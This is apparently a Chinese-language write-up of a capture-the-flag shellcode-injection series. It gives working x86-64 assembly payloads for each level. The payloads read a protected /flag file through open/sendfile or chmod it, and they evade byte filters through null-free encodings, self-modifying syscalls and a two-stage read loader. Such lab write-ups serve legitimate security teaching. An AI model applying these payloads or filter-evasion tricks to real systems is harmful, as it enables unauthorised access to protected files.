你好,请手写shellcode,并熟悉汇编语言~,
Shellcode Injection
这个模块,使用的不是as和ld来汇编链接了。而是使用gcc编译器。
gcc是更高级的编译器,更方便,gcc可以自动处理汇编代码。可以根据文件的后缀名自动选择相应的编译器和链接器。gcc可以自动链接标准库以及你指定的其他库。
as+ld更底层,as汇编器将汇编代码转换为目标代码。目标代码是机器可以理解的二进制代码,但还没有链接成可执行文件。ld是GNU链接器,它将多个目标代码文件链接成可执行文件。
1
| $ gcc -nostdlib -static shellcode.s -o shellcode-elf
|
nostdlib
:不链接标准C库(libc)。这意味着不依赖于标准库中的任何函数,例如prinft
,malloc
等。
-static
:这个选项告诉编译器静态链接所有的库函数。所有的库函数代码将被直接包含到最终的可执行文件中,而不是通过动态链接的方式在运行时加载。提高程序可移植性。
1
| $ objcopy --dump-section .text=shellcode-raw shellcode-elf
|
为什么需要objcopy这个命令呢?
objcopy将编译出来的shellcode-elf中单纯代码部分的机器码给提取出来。如果不这样做的话,gcc编译出来的可执行文件会有其他的机器码,用这个可执行文件作为shellcode传给程序的话,就不能直接起作用了,有其他杂项。
level1
目的是通过shellcode,读取flag,并将其打印在屏幕上。OK,使用open和sendfile系统调用即可。
sys_sendfile(int out_fd,int in_fd,off_t *offset,size_t count)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| .intel_syntax noprefix .global _start _start: nop mov rbx, 0x00000067616c662f # "/flag" push rbx mov rdi, rsp # /flag mov rsi, 0 # read only mov rax, 2 # 系统调用号 syscall
mov rdi, 1 # 标准输出 mov rsi, rax # /flag的fd mov rdx, 0 # offset 0,从第一个字符开始打印 mov r10, 1000 # 输出长度 mov rax, 40 # 系统调用号 syscall
mov rax, 60 syscall
|
其实,也可以使用read,write系统调用,但是更复杂,需要处理字符串。
level2
这关简单,用到之前的技巧,生成0x800个nop即可。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| .global _start _start: .intel_syntax noprefix .rept 0x800 nop .endr mov rbx, 0x00000067616c662f push rbx mov rax, 2 mov rdi, rsp mov rsi, 0 syscall
mov rdi, 1 mov rsi, rax mov rdx, 0 mov r10, 1000 mov rax, 40 syscall
mov rax, 60 syscall
|
level3
这一关,需要shellcode中没有空字节。
1
| mov rbx, 0x67616c662f # bb48 662f 616c 0067 0000
|
第一句就会有很多空字节,那么可以这么写:
1 2 3 4
| mov ebx, 0x67616c66 shl rbx, 8 mov bl, 0x2f # 66bb 616c 4867 e3c1 b308 532f
|
hexdump -x ./shellcode-raw
来查看shellcode的机器码。
因此,其他的也相应进行替换。最终exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| .intel_syntax noprefix .global _start _start: # mov rbx, 0x67616c662f mov ebx, 0x67616c66 shl rbx, 8 mov bl, 0x2f push rbx # mov rax, 2 xor rax, rax mov al, 2 mov rdi, rsp xor rsi, rsi syscall
# mov rdi, 1 xor rbx, rbx mov bl, 1 mov rdi, rbx mov rsi, rax xor rdx, rdx # mov r10, 1000 xor rax, rax mov al, 3 shl rax, 8 mov al, 0xe8 mov r10, rax # mov rax, 40 xor rax, rax mov al, 40 syscall
# mov rax, 60 xor rax, rax mov al, 60 syscall
|
level4
This challenge requires that your shellcode have no H bytes! 不给有H字节。也就是48
那就将所有的内容都换成push/pop
即可。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| .intel_syntax noprefix .global _start _start: # mov rbx, 0x67616c662f push 0x616c662f mov dword ptr [rsp+4], 0x67 push 0x2 pop rax push rsp pop rdi push 0x0 pop rsi syscall
# mov rdi, 1 push 0x1 pop rdi # mov rsi, rax push rax pop rsi # mov rdx, 0 push 0x0 pop rdx # mov r10, 1000 push 1000 pop r10 # mov rax, 40 push 40 pop rax syscall
# mov rax, 60 push 60 pop rax syscall
|
level5
不让用syscall(0x0f05)
,sysenter(0x0f34)
和int(0x80cd)
题目提示是:绕过的一种方法是让shellcode修改自己,以便在运行时插入syscall
指令。
那么实际操作起来就是,将syscall的0x0f05成为一个字节值,即将0x0e05作为一个字节存储于代码段中,然后通过inc指令加1,使得第一个字节0e变成0f,并执行这个机器码,成功调用syscall即可。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| .intel_syntax noprefix .global _start _start: mov rbx, 0x00000067616c662f # "/flag" push rbx mov rdi, rsp # /flag mov rsi, 0 # read only mov rax, 2 # 系统调用号 inc byte ptr[rip] .byte 0x0e .byte 0x05
mov rdi, 1 # 标准输出 mov rsi, rax # /flag的fd mov rdx, 0 # offset 0,从第一个字符开始打印 mov r10, 1000 # 输出长度 mov rax, 40 # 系统调用号 inc byte ptr[rip] .byte 0x0e .byte 0x05
mov rax, 60 inc byte ptr[rip] .byte 0x0e .byte 0x05
|
gcc -Wl,-N --static -nostdlib -o shellcode-elf shellcode.s
要记住编译时需要使用这些参数,以保证.text段是可写的,因此才能修改.byte 0x0e.
level6
前4096个字节不给写的权限,那我直接填充这4MB的空间即可。
nop填充即可。
level7
不给输出了现在,那么通过shellcode创建一个文件,然后把flag写进去就好啦。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| .intel_syntax noprefix .global _start _start: nop mov rbx, 0x00000067616c662f # "/flag" push rbx mov rdi, rsp # /flag mov rsi, 0 # read only mov rax, 2 # 系统调用号 syscall
mov r10, rax # /flag的fd
# mov rbx, 0x74756f2f706d742f # "/tmp/out" push 0x00 mov rbx, 0x74756f2f706d742f push rbx mov rdi, rsp mov rsi, 01|0100 # O_WRONLY|O_CREAT mov rdx, 0777 # 权限777 mov rax, 2 syscall
mov rdi, rax # mov rsi, r10 # /flag的fd mov rdx, 0 # offset 0,从第一个字符开始打印 mov r10, 1000 # 输出长度 mov rax, 40 # 系统调用号 syscall
mov rax, 60 syscall
|
level8
限制在0x12
个字节的shellcode,通过chmod
系统调用,修改/flag的权限即可。
好神奇的软链接!
linux下,软链接到一个程序时,修改这个软连接文件会导致原文件的权限也被修改。因此可以通过软链接来重命名一个a文件,0x61这样就能减少字节数。
1 2 3 4 5 6 7 8 9 10
| .intel_syntax noprefix .global _start _start: push 0x61 mov rdi, rsp push 4 pop rsi push 0x5a pop rax syscall
|
level9
本来想通过jmp [rip+10]
指令然后+nop填充来跳过int3的,但是这条指令就占了6个字节。后来发现jmp 标签只需要两个字节。更简单。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| .intel_syntax noprefix .global _start _start: push 0x61 mov rdi, rsp push 4 pop rsi jmp next .rept 0xa nop .endr next: push 0x5a pop rax syscall push 60 # sys_exit pop rax syscall
|
level10
它的过滤器如下:
1 2 3 4 5 6 7 8 9 10 11
| uint64_t *input = shellcode_mem; int sort_max = shellcode_size / sizeof(uint64_t) - 1; for (int i = 0; i < sort_max; i++) for (int j = 0; j < sort_max-i-1; j++) if (input[j] > input[j+1]) { uint64_t x = input[j]; uint64_t y = input[j+1]; input[j] = y; input[j+1] = x; }
|
而我的shellcode只有13个字节,13/8 = 1。再减1就是0。那么就不会执行过滤器。所以我执行后就拿到了flag。它实际会将16个字节以上的shellcode进行排序。
level11
这道题是level10 加上删去读取stdin。可是使用chmod修改权限的shellcode压根就不需要stdin。网友还是厉害,想到了chmod
这个方法。后面的几关都直接过了。
1 2 3 4 5 6 7 8 9 10 11
| .intel_syntax noprefix .global _start _start: push 0x61 mov rdi, rsp push 4 pop rsi push 0x5a pop rax syscall
|
level12
This challenge requires that every byte in your shellcode is unique!
这一关需要每个字节是第一次使用,也就是没有重复的字节出现。
1 2 3 4 5 6 7 8 9 10
| .intel_syntax noprefix .global _start _start: push 0x61 mov rdi, rsp mov bl, 0x4 xor esi, ebx mov al, 0x5a syscall
|
我居然一直不知道esi寄存器的存在,我以为只有a,b,c,d寄存器会有32位,16位,8位寄存器。
通用寄存器都有低至16位的寄存器。
level13
限制shellcode为0xc个字节!上面的exp还能删减一下。
1 2 3 4 5 6 7 8 9
| .intel_syntax noprefix .global _start _start: push 0x61 mov rdi, rsp xor esi, 0x4 mov al, 0x5a syscall
|
这样就正好是0xc个字节。
level14
shellcode只能是6个字节,我靠。看看人家的wp做吧,没有什么思路。
发现得用当时的一些寄存器来达成目标。在调用我们的shellcode时,可以看到rax是0。并且
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| RAX 0x0 RBX 0x627f8b68e7e0 (__libc_csu_init) ◂— endbr64 RCX 0x766dd2e1e297 (write+23) ◂— cmp rax, -01000h /* 'H=' */ RDX 0x26a69000 ◂— push 61h /* 0x83e78948616a */ RDI 0x766dd2efe7e0 (_IO_stdfile_1_lock) ◂— 0x0 RSI 0x766dd2efd723 (_IO_2_1_stdout_+131) ◂— 0xefe7e0000000000a /* '\n' */ R8 0x16 R9 0x10 R10 0x627f8b68f113 ◂— 0x525245000000000a /* '\n' */ R11 0x246 R12 0x627f8b68e200 (_start) ◂— endbr64 R13 0x7ffe2e2e5a80 ◂— 0x1 R14 0x0 R15 0x0 RBP 0x7ffe2e2e5990 ◂— 0x0 *RSP 0x7ffe2e2e5948 —▸ 0x627f8b68e7c3 (main+636) ◂— lea rdi, [rip + 0cdah] *RIP 0x26a69000 ◂— push 61h /* 0x83e78948616a */
|
rax为0,那么就是read系统调用号。read系统调用的第一个参数rdi为文件描述符,需要为0。第二个参数rsi为读取存放的地址,这里应该就是rdx/rdi都行。第三个参数rdx为0x26a6900为写入的字节数。
那么也就是需要重写rdi寄存器和rsi寄存器即可。stageone的代码:
1 2 3 4 5 6 7
| .intel_syntax noprefix .global _start _start: xor edi, edi mov esi, edx syscall
|
随后,把stagetwo的代码读入即可。
1 2 3 4 5 6 7 8 9 10 11 12
| .intel_syntax noprefix .global _start _start: .rept 0x10 nop .endr push 0x61 mov rdi, rsp xor esi, 0x4 mov al, 0x5a syscall
|
需要一个填充,因为前六个字节也被覆盖了,因此执行只能从第七个字节开始。
最后的命令是cat stageone-raw shellcode-raw | /challenge/babyshell_level14
。抽象的是,我在gdb里调试了半天,stageone的代码一直无法进行系统调用,我以为是代码的问题,实际上是权限不够,无法进行syscall。